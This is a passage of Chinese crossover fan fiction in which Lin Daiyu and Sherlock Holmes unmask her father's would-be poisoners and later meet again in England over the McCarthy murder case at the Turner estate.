林黛玉来到正厅,走向旁边的房间,命小厮们把那日关押的车夫带到正厅的侧间,自己要细细审问他。 关押的正是刷毒油漆的车夫,下人用抹布堵住了车夫的嘴巴,链锁捆住车夫的双手和双脚,为的就是防止车夫自尽。 车夫抬头见是黛玉,只是冷冷扫了她一眼,便垂下头。 “我想知道是谁派你来下毒油漆的?”黛玉问车夫。 正如黛玉预料一般,车夫沉默不语。 但黛玉有的是办法,她从福尔摩斯那里学习到不少运用人的心理来“欺骗人”的方法。 于是她缓缓提醒车夫,撒谎说:“你已经被关进去好几天,前儿你的主子派人想来杀你灭口,只可惜那人认错了你,杀错了人。” 车夫抬头,惊恐地睁大眼睛,他虽身在此处,确实隐隐约约从看门的小厮那里听说林府里这几日死了人,而且死相极其惨烈。 黛玉很高兴看到车夫脸上神色的变化,继续误导他,说:“因为你关进去这几天毫无音讯,你的主子怀疑你已经叛变了,所以派人追杀你,难道你还想继续保持沉默吗?” 车夫仍然摇头沉默。 “我的父亲已经好得差不多,醒来就在这几日,难道你还要继续沉默下去吗?”黛玉深知这车夫内心的担忧,“如果你说出来,我会让父亲保证你和你家人的安全。” 这车夫内心挣扎了一会,终于点头。 于是紫鹃忙上前拿下堵在口中的抹布,车夫缓缓说出了名字,听见名字后,黛玉感觉一阵头晕目眩,她没想到自己的亲戚竟然会害自己的父亲。 就在黛玉知道凶手的同时,福尔摩斯也从看门的小厮那里得到左撇子的消息,整个林府上下符合左撇子只有林家远族带来那几个小厮,进而福尔摩斯可以推论出这凶手就是林家那几个远族。 福尔摩斯皱眉,他不太能理解林家远族的行为,在呆林府的这些天,他也能猜出林府的地位不是一般人家可以比的,林家远族对林如海下手带来的弊端远大于利。 就在这时,一个丫鬟找到了福尔摩斯,说:“老爷醒来了,姑娘派我来找你。快随我走。” 福尔摩斯跟随着丫鬟进入二门,走进林如海的院子,门口几个丫鬟看见福尔摩斯来了,忙掀起帘子,迎福尔摩斯进入。 此时黛玉已经坐在堂上,看见福尔摩斯修长的身影进入,忙叫雪雁送上茶,让他坐下了。 “听说你的父亲已经醒来了。”福尔摩斯恭喜黛玉。 黛玉脸上是掩不住的喜色,多日的哀愁一扫而空,说:“是的,我的父亲已经醒来,所以我才能把你叫来。” 林如海醒来后,黛玉的底气变得十足,至少她不用顾虑那些所谓的远亲,因此黛玉让父亲第一时间就把那些远族和贾琏等人拦在房门外,让他们过些日子再来看望父亲。 黛玉见众人散去后,才开始询问福尔摩斯。 “你可知凶手是谁?”尽管黛玉心中已经有了答案,但她还是测试福尔摩斯。 福尔摩斯一字一顿回答:“凶手就是你的那些亲戚。” 话音刚落,福尔摩斯并没有从黛玉的脸上看到惊讶的神情,他推测黛玉也早就知道凶手是谁,只不过来检测自己而已。 黛玉没想到福尔摩斯一下子就说出了正确答案,忍不住问福尔摩斯是否见过车夫。 “我没有见过他。”看穿黛玉小心思的福尔摩斯脸上浮现出若有若无的微笑,“小姐,你要知道,仅仅只靠证人的口供并不能轻易下定结论。人证和物证缺一不可,证人可以撒谎,物证也可以伪造,所以要结合两者才能下结论。” 说到此处,福尔摩斯看见黛玉脸上浮现出浅浅的红晕,便知道黛玉是从那个车夫口中知道凶手的身份。 黛玉心中暗自回神过来,她确实没有考虑到这车夫是否在说实话,或许这车夫只是向自己的亲戚泼脏水也未可知。 黛玉侥幸自己没有冒冒失失张扬此事,而是藏在心中直到父亲醒来。 “你可以和你的父亲说一说,凶手确实是你的亲戚。”福尔摩斯起身拍了拍手,整理自己的衣裤,“我已经帮你找到了真正的凶手,我想我的任务已经完成了。” 福尔摩斯向黛玉表示自己是时候离开林府,虽然在林府里的日子比在码头舒服许多,但福尔摩斯更喜欢码头边上的自由和随心所欲。 黛玉欲张口挽留,福尔摩斯率先说:“小姐,我知道你想说什么,你的学习能力比我想象中的要强许多,后面的英语学习完全可以靠你自己。” “那就如此。”黛玉知道自己再挽留就失了礼数,“雪雁,去称十两银子,装进荷包里给他,外加几匹上好的衣绸缎料,送他出门。” 福尔摩斯低头看见黛玉眼底闪过一抹失望,他不由自主移开目光,并没有说什么,接过雪雁递来的银子,向黛玉道谢后就离开了林府。 黛玉并没有沉浸在福尔摩斯的离开的情绪中,她来到父亲的床边,刚享用过一碗清粥小菜的林如海气色好了许多。 林如海看着眼前消瘦的女儿,忍不住捧了捧黛玉的小脸,才知道黛玉这几年在贾府的日子并没有家书上写的如此舒心。 黛玉看着父亲,心中纠结是否要把凶手告诉他。 如果没有福尔摩斯的证明推论,黛玉是不会轻易将凶手的身份告诉父亲,但有了福尔摩斯的一锤定音,黛玉才有底气告诉父亲。 当黛玉把事情的来龙去脉缓缓说出来后,林如海闭眼仰头长叹一声,心中也渐渐地有了异样的想法。 林如海身为当朝探花郎,又历任兰台寺大夫、巡盐御史,官场浮沉多年,自然知道其中的利害。 他低头看着自己的女儿,心中思绪万千,在扬州这些年,他失去了儿子和妻子,现在连自己的生命也差点落到那些人的手上。 他所谓的那几个堂兄远族,不过是受命于政敌才对自己下手的,否则他们也没有那么大的胆子。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>林如海明白自己想要在这激荡的官场上全身而退,就只能放弃自己的职务,辞官回乡。 他不甘心,林家祖上世袭侯爵,自己又是探花,却就这样激流勇退。 林如海紧握自己的拳头,又看了黛玉那张苍白的小脸,也渐渐心软下来,他刚从鬼门关走一遭回来,明白什么事情是可以放下的,什么事情是可以把握住的。 他思来想去,知道自己不能与林家远族撕破脸,于是打算陈情上表,准备借这个由头向圣上告老还乡。 林如海让黛玉下去,当黛玉准备出房门时,林如海似乎又想到了什么,告诉黛玉:“玉儿,明日你再请那个先生来府上一趟,我要亲自设宴答谢。” 黛玉转过身,犹豫道:“女儿今日已经尽力挽留,只怕他不会来拜访……” 她想到自己下西洋的计划,终究还是没有告诉父亲,黛玉抱着一种侥幸心理——或许她的父亲已经完全好了,用不上什么所谓的西洋药。 林如海见黛玉如此说,只得作罢,自己又在床边细细思量半日,直到夜深才睡去。 黛玉回到自己的房间,坐在梳妆台前,看着铜镜中的自己,一时思绪翻涌。 紫鹃见黛玉心神不宁,轻声唤了雪雁到门外将残水替换干净的水,自己则到黛玉身边替她卸妆。 “姑娘仿佛有心事?”紫鹃试探问黛玉。 黛玉点点头又摇头,没有说话。 她心里乱糟糟的,虽然父亲醒来给她带来不少高兴的心情,但当这些情绪平静下来后,又有不少烦恼渐渐找上来。 但总归来说,黛玉还是高兴的。 她从梳妆台抽屉下拿出单词表,看着上面密密麻麻的笔迹,她发现福尔摩斯写的英文字母十分飘逸,自己有时候要细细辨认才能看懂。 或许自己再也用不上这本单词表了,黛玉已经准备放弃下西洋的计划,一是路途遥远,二是身份不适,三是父亲比自己想象的情况要好许多。 黛玉想着,正准备命紫鹃把单词表收起来,与自己的记忆尘封在灰尘里。 这时门外传来急匆匆的脚步声,进门而来的是云姨娘。 “姨娘,夜深了,怎么突然来这里。”黛玉忙起身请姨娘坐下,看见云姨娘的不好的脸色心中着实慌了一下。 云姨娘轻声说:“老爷的身子不是很好,刚才宫中的太医来看过了,悄悄告诉我,说老爷只有……只有这三四年的光景了。” 说罢云姨娘忍不住压低声音哭出来。 听见这晴天霹雳的消息,黛玉一时没站稳,歪倒在紫鹃身上,她努力让自己镇定,说:“难道没有任何办法了吗?” 云姨娘摇摇头,说:“太医也无计可施。” 黛玉把要交给紫鹃的单词表收回来,紧紧攥住,她知道自己必须要下西洋寻找救治父亲的药方。 黛玉更加下定要去西洋的决心,只是有个问题摆在她面前——她的父亲肯定是不会允许她出远门。 13. 戒指 伦敦。 福尔摩斯把艾琳递来的照片收起来,他虽心有不甘,但事实就摆在他面前,他实实在在地输给了一个女人。 如果没有黛玉的出现,福尔摩斯相信他会成功从那场意外中拿到国王的照片。 但没有如果。 国王听说福尔摩斯从艾琳手中拿到了信件,也顾不上夜深人静的时刻,急急忙忙乘坐马车赶来贝克街。 在国王来到贝克街后,福尔摩斯把艾琳的信件交给了国王,波西米亚国王对福尔摩斯没有从艾琳手中拿到照片有些失望,当国王从艾琳的信件中翻到照片时,情绪才高涨了一点。 国王快速地读完信件上的内容后,终于眉开眼笑,将照片展示给福尔摩斯,说:“她愿意把照片还给我了。” “是的,但很抱歉我没有给陛下一个十分满意的结局。”福尔摩斯几乎是咬牙切齿回答。 国王把手指上的绿宝石蛇形戒指给福尔摩斯,说:“亲爱的福尔摩斯,现在的结果已经让我足够满意了,这枚戒指是我昨天刚从城堡里找出来,今天我就把它给你。” 尽管福尔摩斯表示之前国王支付的丰厚的报酬已经足够,但国王还是坚持把戒指塞进福尔摩斯的手中。 送走国王后,福尔摩斯才问坐在窗边的华生怎么看待这件案件。 华生心知肚明,微笑说:“当然是多亏了林黛玉小姐的插手。福尔摩斯,你为什么不去见见林黛玉小姐呢?” “为什么要见她?”福尔摩斯罕见地问华生。 华生像是教一个幼儿园小孩一加一等于二那样耐心地解释:“福尔摩斯,如果不是林黛玉小姐提醒艾琳小姐,艾琳小姐也不一定会把照片送回来,因此我认为这枚绿色蛇形戒指应该属于林黛玉小姐。” 福尔摩斯若有所思地看着掌心的戒指,把它放进口袋没有说话。 在黛玉这一边,她正领着两个丫鬟在旅馆享用晚餐,在海船上一连吃了好几个月的罐头食物,她们终于可以饱餐一顿新鲜的食物——当然伦敦的食物远比不上她们家乡的美食。 雪雁和紫鹃正饶有兴致地品尝每一样伦敦的食物,从牛排馅饼到鳗鱼冻再到越蔓莓挞。 “味道有点独特的,但比船上的菠萝罐头好吃一些。”紫鹃尝了一小口评价,还是把刀叉放下了。 雪雁倒是吃了不少。 只有黛玉给自己盛了一小块蛋挞和布丁,默默吃着,黛玉这一次来伦敦的目的不仅仅是接受女王的邀请,而且也是为了补上父亲的药方。 虽然华生给父亲开的药方可以让父亲身子慢慢养好,延长寿命,但黛玉更愿意找到可以根源上解决病情的药方,于是黛玉选择再次重返伦敦。 这一次黛玉并不像第一次那样毫无头绪,因为在之前有人给她递来了线索,于是黛玉打算这几天趁见面女王前顺着线索找到合适的药方。 就在黛玉抬头看了看旅馆餐厅面前的钟——晚上九点已经过了一刻钟,如果她没有记错,她要等的人在十五分钟前就应该到达旅馆。 正想着,黛玉看见有人推门而入,一个美丽年轻的女士向黛玉走来,后面却一反常态的跟随着一名警官。 “想必你就是林小姐了。”女士敏锐地从三个东方女孩中找到了黛玉。 黛玉起身朝女子行了个屈膝礼,说:“晚上好,特纳小姐。”她们在通信时就相互交换了名字。 女士也同样报以回应行了个屈膝礼,诚恳回答:“请原谅我迟到了,因为今天发生的事情实在是太让我心烦意乱,我马不停蹄地赶去警局,直到现在才从警局出来找你。” 警局?黛玉跟了福尔摩斯不久,知道大部分人去警局并不是什么好事情,但碍于礼数,黛玉也没有追问下去。 特纳小姐秀丽的眉眼中有难以遮掩的哀愁,如蓝水晶般湛蓝的眼睛晶莹剔透,她看了看黛玉,继续用道歉的语气说:“林小姐,你要的药方我没有从家里拿出来,恐怕要等上好些日子。” 黛玉心中有些失望,按照原计划,特纳小姐应该在旅馆将药方交给黛玉。 但黛玉又想到特纳小姐是出于好意免费给自己药方,自己不应该埋怨她。 看着特纳小姐苍白无力的脸庞,黛玉认为既然自己白白从人家这里拿药方,或许自己可以帮忙解决特纳小姐的麻烦——至少不给特纳小姐添麻烦。 “特纳小姐,我可以去你家拿药方,这样也可以节省你往来的时间。”黛玉低头思索,想出一个折中的办法。 特纳小姐点点头,说:“或许林小姐现在就可以和我一同回去?” 原本黛玉心下正犹豫,忽然特纳小姐背后的警察走到黛玉面前,熟悉的声音传来:“晚上好,小姐,我们又见面了。” 黛玉抬头一看,这个警察正是几个小时前送她去见艾琳的斯坦莱。 斯坦莱那双蓝得惊人的眼睛眯成月牙形,看来和黛玉又碰巧见面让这个年轻的警察感到心情不错。 “我正要送特纳小姐回家,既然如此,你也跟着我们吧。”斯坦莱挺了挺身子,拍了拍胸前的徽章,表示自己可以平安送她们到达。 黛玉见是警察送她们回家,也放下心,和特纳小姐上了车,警车内部宽敞,她带上雪雁和紫鹃仍然也是绰绰有余。 警车上,斯坦莱为了打消自己的困意,一手架着车,一手忍不住从口袋拿出烟斗,准备点火抽烟。 “林小姐,请问你是不喜欢抽烟吗?”斯坦莱敏锐地从后视镜看见黛玉的神色,问道。 黛玉心中暗示惊讶,她只是在看见斯坦莱那出烟斗的那一刻微微蹙眉,没想到这一小小的细节竟然被他捕捉到。 “我家小姐不喜欢烟味。”雪雁心直口快,脱口而出。 “原来如此。”斯坦莱熄灭烟斗,“请原谅我刚才失礼的行为。” 黛玉感觉脸上有些燥热,明明是自己乘坐斯坦莱的车,却不曾想自己会让他如 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 此放下烟斗。 斯坦莱似乎是看出黛玉有些窘迫,说:“其实上班期间是不能抽烟的,是我违反规定在先。” “不要低估一名警察的观察能力。”斯坦莱坐直了身子,打开了车窗,让夜晚的冷风吹进来。 雪雁立刻从随身携带的包里拿出毛毯给黛玉披上。 “看来姑娘们的身子比我想象中的要娇弱些。”斯坦莱尴尬笑笑,把车窗关上。 为了驱赶斯坦莱警察的困意,几个姑娘们开始在车上交谈起来。 雪雁和紫鹃一直好奇黛玉为什么会认为特纳小姐会有治疗林如海的药方,在交谈过程中,她们才知道前因后果。 原来特纳小姐的父亲特纳先生曾经在维多利亚矿区挖掘出金子,发了一大笔钱财。 然而变成富人的代价就是失去一副健康的身子,常年累月的挖矿让特纳先生的身子变得无比差劲。 或许是因为有上天眷顾,特纳先生侨居澳大利亚时,从一个拉丁美洲来的商人取得了一副药方,在药方的调理下,特纳先生的身子缓缓好起来,活到了块七十岁。 特纳小姐的家位于英国西部的赫利福德郡,在穿过月色下波光粼粼的塞文河,越过溪谷,午夜时分他们终于到达特纳庄园。 刚从车上下来,黛玉就看见一个女仆正从庄园的大门跑出来,女仆紧紧攥住特纳小姐的手,焦急说:“小姐,特纳先生出事了。” 特纳小姐感觉一股凉意从脚下漫到全身,声音有些发颤,说:“告诉我,我的父亲还好吗?” 女仆回答说:“特纳小姐,特纳先生的身子完全垮掉了,现在只能卧床休息。” 特纳小姐这才略微放心,说:“那就好。”她知道她的父亲身子自从发生可怕的事情后就一直不好,于是特纳小姐转头告诉黛玉,“请原谅我得失陪。” “佩星丝!”女仆进门叫来一个十四十五岁的女孩,“你带着这位小姐和她的朋友到楼上休息。” 女孩应了一声,朝黛玉调皮地笑了笑,说:“小姐好,请跟随我来。” 黛玉点头,转过身对年轻的斯坦莱说:“多谢你送我们一程。” 斯坦莱高大的身影投射在黛玉身上,他低头笑了一下,说:“不用谢,这是我们警察应该做的。而且我也要在这里住一晚,这案子看起来没有我想象中那么简单。” “案子?”黛玉压低声音,“难道这里出了命案?” 斯坦莱点头,说:“不用担心,目前嫌疑犯人已经被我们关起来,我来这里只是做收尾工作。” “那祝你顺利。”黛玉辞过斯坦莱,扶着紫鹃的手和佩星丝上楼休息去了。 特纳庄园在夜间下显得阴森森,在黛玉踏上楼梯时,她听见门外传来男子的嚷嚷声:“我是冤枉的!我怎么可能会杀害我自己的父亲!” 黛玉偏过头,视线越过窗户,看见斯坦莱和另一名警察正押着一个男子从另一辆警车下来。 14.庄园 林如海辞官的消息很快传遍整个京城和江南,虽然皇上对于林如海的突然辞官感到诧异,但想到林如海这病重的几个月,也许是身子状况无力再担任官职,于是皇上便同意了他的请求。 林如海并没有直接戳穿那些堂兄弟们的丑事,而是不动声色地将他们送出林府,日后再找机会细细算账。 纵然林如海辞了官,但幸而祖上家产丰厚,黛玉在林府中的待遇以及规格并没有下降,林如海反而添加了不少。 黛玉并没有打消下西洋的计划,只是眼下让她发愁的是如何将此事告诉父亲。 父亲肯定是不会同意她下西洋。 如今黛玉已经将福尔摩斯写下的日常用语单词表细细背了好几遍,平常物品的单词她已经能脱口而出。 黛玉坐在窗边,看着这院子里竹林婆娑,心里怡然自得,乐在其中。自从父亲醒来后,林如海就将林府一干不安分的奴仆找个由头送到城郊的庄子去了,包括那个李管家。 就连送黛玉来扬州城的贾琏也被林如海请了出去,贾琏返京时仍然想带上黛玉。 但这一次林如海怎么可能会让黛玉再次掉入贾府那种地方,纵然贾琏搬出贾母这个大山,林如海也轻轻掀过,说:“如今玉儿也大了,各种闺中礼仪教养玉儿已经学得差不多,想必你们老太太也舍不得让玉儿骨肉分离,等我身子好了,自然会携着玉儿上京拜访贵府向你们老太太道谢这些年的养育之恩。” 贾琏自然也不好分辩,只得应下,灰溜溜地离开扬州城,并没有他计划的那样拿到林家的一大笔巨额财产。 黛玉知道父亲一直在为自己打算,想着不由红了眼眶。 在这几天,黛玉没有放弃与福尔摩斯的联系,因为有父亲撑腰,黛玉可以乘坐着小轿频频从林府外出。 林如海自黛玉小时就当做男儿教养,自然不会忌讳女子应深居简出这套理论,因此黛玉才得以和福尔摩斯联系。 福尔摩斯就居住在码头附近,黛玉和雪雁就很轻易地找到了他,当然黛玉也没有在街头直接抛头露面,而是隔着车窗与福尔摩斯交谈。 这一日,福尔摩斯带来了一个可靠的消息,在进入深秋后,一艘大英帝国来的货船将会停靠扬州港口上。 两年一度的维多利亚号将会在扬州港口停留几天,采买丝绸和茶叶。 林黛玉心中细细算了一下日子,这意味着她在扬州城的时间不多了,最多只能呆两个月。 “你是否考虑好?”福尔摩斯隔着车窗问她,“如果你不想离开,我可以帮你递回来。” “当然我不能保证这些药物或者药方可以送到你的手上。”福尔摩斯冷酷地添上了一句。 黛玉没有说话,她明白要从遥远的地方把药方送来,不知会经多少人的手才能送到自己的手中,这无疑是异想天开。 “我会和你一起去。”黛玉说,“只是我不知道怎么和父亲说这件事情,我父亲肯定不会同意我下西洋。” 这时福尔摩斯脸上露出恶作剧般的笑容,说:“这并不需要你父亲的许可,小姐,你仔细想想,我相信你会有别的办法。” “不需要父亲的同意?”黛玉心中不由吃了一惊,虽然她平日里怼起周瑞家的那等奴妇十分厉害,但要真正地反抗长辈,黛玉心中还是不由地惴惴不安。 黛玉低头思索一会,旋即说:“我知道有何办法,多谢你的提醒。” “那就好,记得多准备东西,锻炼身体,船上的日子并不会很舒服。”福尔摩斯微笑道,“我相信你的父亲会足足给你添量好几倍行李。” “那是自然。”黛玉平静回答,只有一旁的雪雁不知所以,她只听懂自家小姐似乎要和这个奇怪的人一起下西洋,往严重的方面说,她家小姐似乎是要私奔了。 于是雪雁担忧地透过车窗对黛玉道:“姑娘,虽然下西洋寻找药方是没问题,但是姑娘要知道外面可没有那么安全,姑娘身子又娇弱,若到时闹起来,那可……” “不用担心。”福尔摩斯打断了雪雁的话,“我了解这维多利亚号,船上面比你们想象中要安全。” 福尔摩斯明白,这些能够远洋东方的大英帝国货船比如维多利亚号是有严明的纪律,因为货船背靠的是国际性公司以及皇室,这些水手船员都是千里挑一,安全性远高于那一艘福尔摩斯被扔进的黑货船。 “当然,如果你们实在担心,我可以将我的防身术教给你们。”福尔摩斯信心十足地说,“我有不少拳击和剑术的经验。” 黛玉没有说话,她低头看着自己如嫩葱般的手指,无法想象自己要用这双小小的拳头来防身。 福尔摩斯也似乎想到黛玉在想什么,笑说:“当然以你目前的身子状况,可能剑术更合适你。” “那我该如何学习?”黛玉轻轻问道,她很快就接受自己要学习剑术的现实,如果她出远门,有一样防身术傍身也无坏处。 福尔摩斯回答:“剑术不像那些英语单词看看书本就可以学习,它需要大量的实践和练习。” “现在我也不需要继续在码头打工,我可以到你们府上教你剑术。”福尔摩斯的语气听起来十分勉强,似乎去林府就是委屈了自己。 黛玉谢过福尔摩斯,表示她会回去让父亲下帖子请他再次进入林府。 但黛玉又想起自己下西洋的计划,担心福尔摩斯的露面会引起父亲林如海的怀疑。 她忧心忡忡地回了林府,一路上黛玉心乱如麻,莫非难道她真的要违抗父亲下西洋。 …… 特纳庄园里的叫喊声打断了黛玉的回忆,她借着房屋内的灯光往外看去,看见斯坦莱正铐住大喊大叫的男子,往庄园的林子走去。 黛玉惊讶地看见带领她们的女仆佩星丝脸色一下子就发白,于是安慰她说:“佩星丝,不用担心,我听斯坦莱警官说,坏人已经被抓到了。” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 但令黛玉更惊讶地是,佩星丝的眼睛里立刻漫上了泪水,她摇摇头,说:“小姐,你这样想便错了。” 与福尔摩斯在一起养成的习惯一下子让黛玉起了疑心,问道:“佩星丝,请告诉我,到底发生了什么事情。” 女孩低头抹了抹眼泪,欲言又止。黛玉立刻明白,于是故意说:“请带我到房间去,我需要你帮我把衣服收拾一下。” 佩星丝会意,领着黛玉来到房间,同黛玉一起进入,只留下雪雁和紫鹃在房间门口。 黛玉刚让佩星丝坐下,这个少女脸上的泪水就像断线的珍珠不停从脸庞滚落下。 “警察抓的是小麦卡锡,因为他们说小麦卡锡杀死了他自己的父亲。”佩星丝哭得上气不接下气。 黛玉还没从这震惊的消息反应过来,佩星丝又继续说:“小麦卡锡是从小到大就一直照顾我的大哥哥,我不相信他会亲手杀死自己的父亲。” 黛玉默然,她不知道用什么话语来安慰这个女孩,只得默默将自己的绣花手帕递给佩星丝,让她抹一抹脸上的泪水。 佩星丝也意识到自己在客人面前这样哭哭啼啼实在失礼,便忙擦脸上的泪水,向黛玉道歉后就离开了房间。 黛玉虽然跟随福尔摩斯久了,但面对这种扑朔迷离的案件,她也不能百分百确定小麦卡锡是否真的如佩星丝口中说的那样无辜。 正想着,门外再次响起了敲门声,进门的是特纳小姐,身后跟着端着盘子的女仆,盘子上面有茶壶茶杯和一小碟饼干。 “非常抱歉。”特纳小姐接过盘子,亲自把盘子放在房间的桌子上,“这么晚了,希望我没有打扰到你。” 接着特纳小姐抱歉说:“只有我的父亲才知道药方放在哪个具体位置,但现在我的父亲正出于昏迷状态中,恐怕我得等父亲醒来才能给你药方。” 黛玉回答:“特纳小姐,没关系,我可以等上几天。” 她明白现在的特纳小姐要面对不少事情,庄园里发生的谋杀案就已经足够让人害怕了,黛玉也特别感谢特纳小姐在百忙之中能抽出时间来亲自和自己解释。 这一夜,黛玉躺在柔软的床铺上,各种回忆涌上心头,特纳庄园里发生的事情都让她感觉有些怪异,但黛玉又察觉不出怪异的点在哪里。 或许只有福尔摩斯才可以吧,黛玉想着,渐渐进入梦乡。 第二天上午,黛玉推开窗,终于可以看到特纳庄园的整个面貌,她所处的别墅后头就是私人花园,而在别墅的前方有一座大农场,有一条大池塘将别墅和农场分开来,清晨的阳光将池面照得波光粼粼。 黛玉眺望远处,看见有一辆马车从远处驶来,只见马车停在楼下的警车旁,下车的正是披着风衣的福尔摩斯和华生。 福尔摩斯嘴里叼着烟斗,下马车第一件事情就是蹲下来检查泥土,仿佛是意识到什么,福尔摩斯忽然抬起头,机警地往头上望去,目光直视黛玉的方向。 15.斗嘴 福尔摩斯抬头望去,凝视着一扇窗户,发现并没有任何人,但福尔摩斯多年的警觉可以肯定,刚才就是有人在那扇窗户盯着自己。 福尔摩斯在昨天晚上就从纳特小姐受到委托,调查案情。 福尔摩斯刚下车,揉搓了地上湿润的泥土,他确信前几天这里下过一场雨。 华生也从马车上跳下来,便看见自己的老朋友斯坦莱正铐着男子送上警车。 “上午好!斯坦莱警官!”华生摘下帽子,向自己的旧友打招呼。 斯坦莱把被铐着的男子交给自己的同事后,大步走向华生,重重拍了拍华生的后背,爽朗回答:“你好!华生,你怎么会在这里。” 这时斯坦莱看见蹲在地上的福尔摩斯,虽然他从没见过福尔摩斯,但也听说过福尔摩斯,看着地上蹲着的人的一身打扮,斯坦莱说:“想必这位先生就是夏洛克.福尔摩斯了。” “我正是。”福尔摩斯起身,拍了拍满是泥土的双手,“我和华生来这里是为了调查案件。” 华生忙将斯坦莱介绍给福尔摩斯,说:“福尔摩斯,这是我的老朋友斯坦莱,也是伦敦的一名警察。” 福尔摩斯点头表示自己已经知晓。 斯坦莱朝身后指了指,说:“然而你们来晚了,凶手已经被我抓到,我现在刚带他指认现场回来。” “我认为可怜的小麦卡锡并不是凶手。”福尔摩斯从华生手中接过手帕,低头擦手,“小麦卡锡在法庭上的证词实在有太多的漏洞,所以他是无辜的。” 斯坦莱难以置信地摇摇头,说:“福尔摩斯,尽管你名声在外,但说话也要有证据。” “这就是我来这里的原因。”福尔摩斯冷冷回答,他察觉到这个警察并不太信任自己。 “那我也留下来,我很好奇你是如何推论出来的。”斯坦莱转身招呼同事,让同事先将小麦卡锡关押送回伦敦。 对于斯坦莱的质疑,福尔摩斯也不气恼,他对于这些警察的判案能力心中有数,也不指望斯坦莱等人可以判断出什么来。 斯坦莱对华生笑说:“华生,我告诉你,你的朋友林小姐也在这里。” “林黛玉小姐?”华生又惊又喜,“林黛玉小姐怎么会在这里。” 福尔摩斯拍了拍华生的肩膀,皱眉说:“亲爱的华生,你的表现也没必要如此激动。” 华生撇了福尔摩斯一眼,说:“我可不像你,只把什么破案放在心中第一位,林黛玉小姐可是我们的老朋友,这次重逢我当然会感到激动。” 福尔摩斯扬起下巴,抬头看了看湛蓝的天空,没有回答。 就在这时,特纳小姐也从庄园的别墅走出来,看见福尔摩斯等人,忙招呼他们进来一起享用早餐。 “走,带我去见林黛玉小姐。”华生不理睬福尔摩斯,勾肩搭背地和斯坦莱进入别墅去了。 福尔摩斯见华生抛下自己,肩并肩和那个斯坦莱走进别墅,无奈摇头,华生一直都是这样的性子。 进入别墅的餐厅,华生第一眼就瞧见了从楼上下来的黛玉。 “林黛玉小姐,没想到我会在这里看见你。”华生上前和黛玉握手。 黛玉放开华生,笑答:“我也没想到你们也会来这里。” 斯坦莱在一旁若有所思地摸了摸自己的下巴,打量华生,说:“没想到你和林小姐的关系这么好。” 华生脱口而出,说:“当然是的,我和福尔摩斯已经认识这位聪明伶俐的小姐好几年了。” 但随后华生才听出斯坦莱口中隐隐带有揶揄的语气,脸涨成粉色,说:“我的未婚妻也是林黛玉小姐的好朋友。” 斯坦莱知道华生是老实人,也不再逗他,而是转向福尔摩斯,故作轻松说:“那么福尔摩斯先生也是林小姐的好朋友喽。” 福尔摩斯没有说话,只是朝黛玉略微点头,算表示打个招呼——他还没有忘记因为黛玉帮助艾琳小姐导致自己失败的事。 但斯坦莱并不知道这些,他只看见福尔摩斯和黛玉之间并没有像华生口中说的那样看起来是个好朋友。 这下斯坦莱终于放松了一些,他打破沉默,像东道主一样招呼大家到桌子上享用早餐。 “女士优先。”斯坦莱特意把椅子拉开,想让黛玉坐在自己的对面。 坐下的是福尔摩斯。 斯坦莱压低声音,说:“福尔摩斯先生,这个座位不是给你坐的。” 福尔摩斯假装掏了掏耳朵,等黛玉坐在另一个位置后才缓缓说:“你在说什么?我刚才没有听见。” “没什么。”斯坦莱见事已至此,只当福尔摩斯在故意为难自己,只得愤愤不平地在福尔摩斯对面坐下,忍住自己在桌子底下踢福尔摩斯的冲动。 “林黛玉小姐,你怎么会在这里?”华生一边给自己的面包片上涂上黄油,一边问黛玉的来意。 黛玉回答:“我是来向特纳小姐要药方的,所以来到这里多待几天。” 华生明白黛玉为何需要药方,说:“我相信你会找到根源上解决的药方,我在期间也找到了一些可能合适的药方。” “多谢你。”黛玉感激地看向华生。 斯坦莱虽然在埋头吃着土豆泥,但也一直在偷听黛玉和华生的交谈,当听到药方时,斯坦莱忍不住抬头撇了一眼黛玉。 黛玉感觉到斯坦莱在盯着自己,也把视线从华生身上转移到斯坦莱身上。 “林小姐,要来一瓶果酱吗?”斯坦莱忙把蓝莓酱移到黛玉的桌前,掩饰自己刚才的失态。 原本还在专心思考的福尔摩斯接过话头,用略带嘲笑的语气说:“斯坦莱先生,你这瓶满满的蓝莓酱是想把她的牙齿甜坏掉吗?” 说完福尔摩斯伸出长长的手臂,将蓝莓酱重新从黛玉桌前推到斯坦莱桌前。 斯坦莱的眼神似乎想把福尔摩斯吞掉。 福尔摩斯只是瞄了斯坦莱一眼,懒洋洋地伸起懒腰。 用完早餐,纳特小姐让佩星丝带着黛玉出去逛逛园子,自己则带领着三个男人到客厅谈正事。 在目送黛玉离开后, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 斯坦莱瞪着福尔摩斯,只用他听到的声音说:“你为什么总是为难我?” 福尔摩斯平静地回答:“因为你不相信我的探案能力。” 听见这种回答,斯坦莱的语气变得缓和下来,问:“只是这个原因?” 福尔摩斯没有回答。 斯坦莱戳了戳福尔摩斯的胸口,说:“我是看在华生的面子上才没有和你撕破脸皮,大侦探。” “有劳你这个小警察的提醒了。”福尔摩斯眼底是看不见的神秘莫测,说,“如果我没猜错,你是最近才来到伦敦成为一名警察的。” “我没有。”斯坦莱不想直接承认。 福尔摩斯缓缓说:“首先我和伦敦的警局没少打过交道,在之前我并没有见过你,其次我从来没有见过这么年轻的警官,最后你的制服很新,不像是磨损使用多年的。” 听到这里,斯坦莱得意地挺直身子,说:“你猜得没错,我是上个月才成为一名正式的警官。” “那你要好好加油,小警察。”福尔摩斯似笑非笑地拍了拍斯坦莱的肩膀,到客厅去听特纳小姐的委托。 这一边,黛玉携着雪雁和紫鹃,一同和佩星丝走到池塘边,秋天的农场仿佛被涂上一层红色金色黄色的颜料,落叶满地。 黛玉她们绕着池塘走,当走到两层楼房旁边时,黛玉发现佩星丝的脸色变得异常,于是关心地问:“佩星丝,你怎么了?” 佩星丝指了指不远处的楼房,石板瓦顶,灰色的墙,说:“那里就是麦卡锡的家,这让我想起了不美好的回忆。” 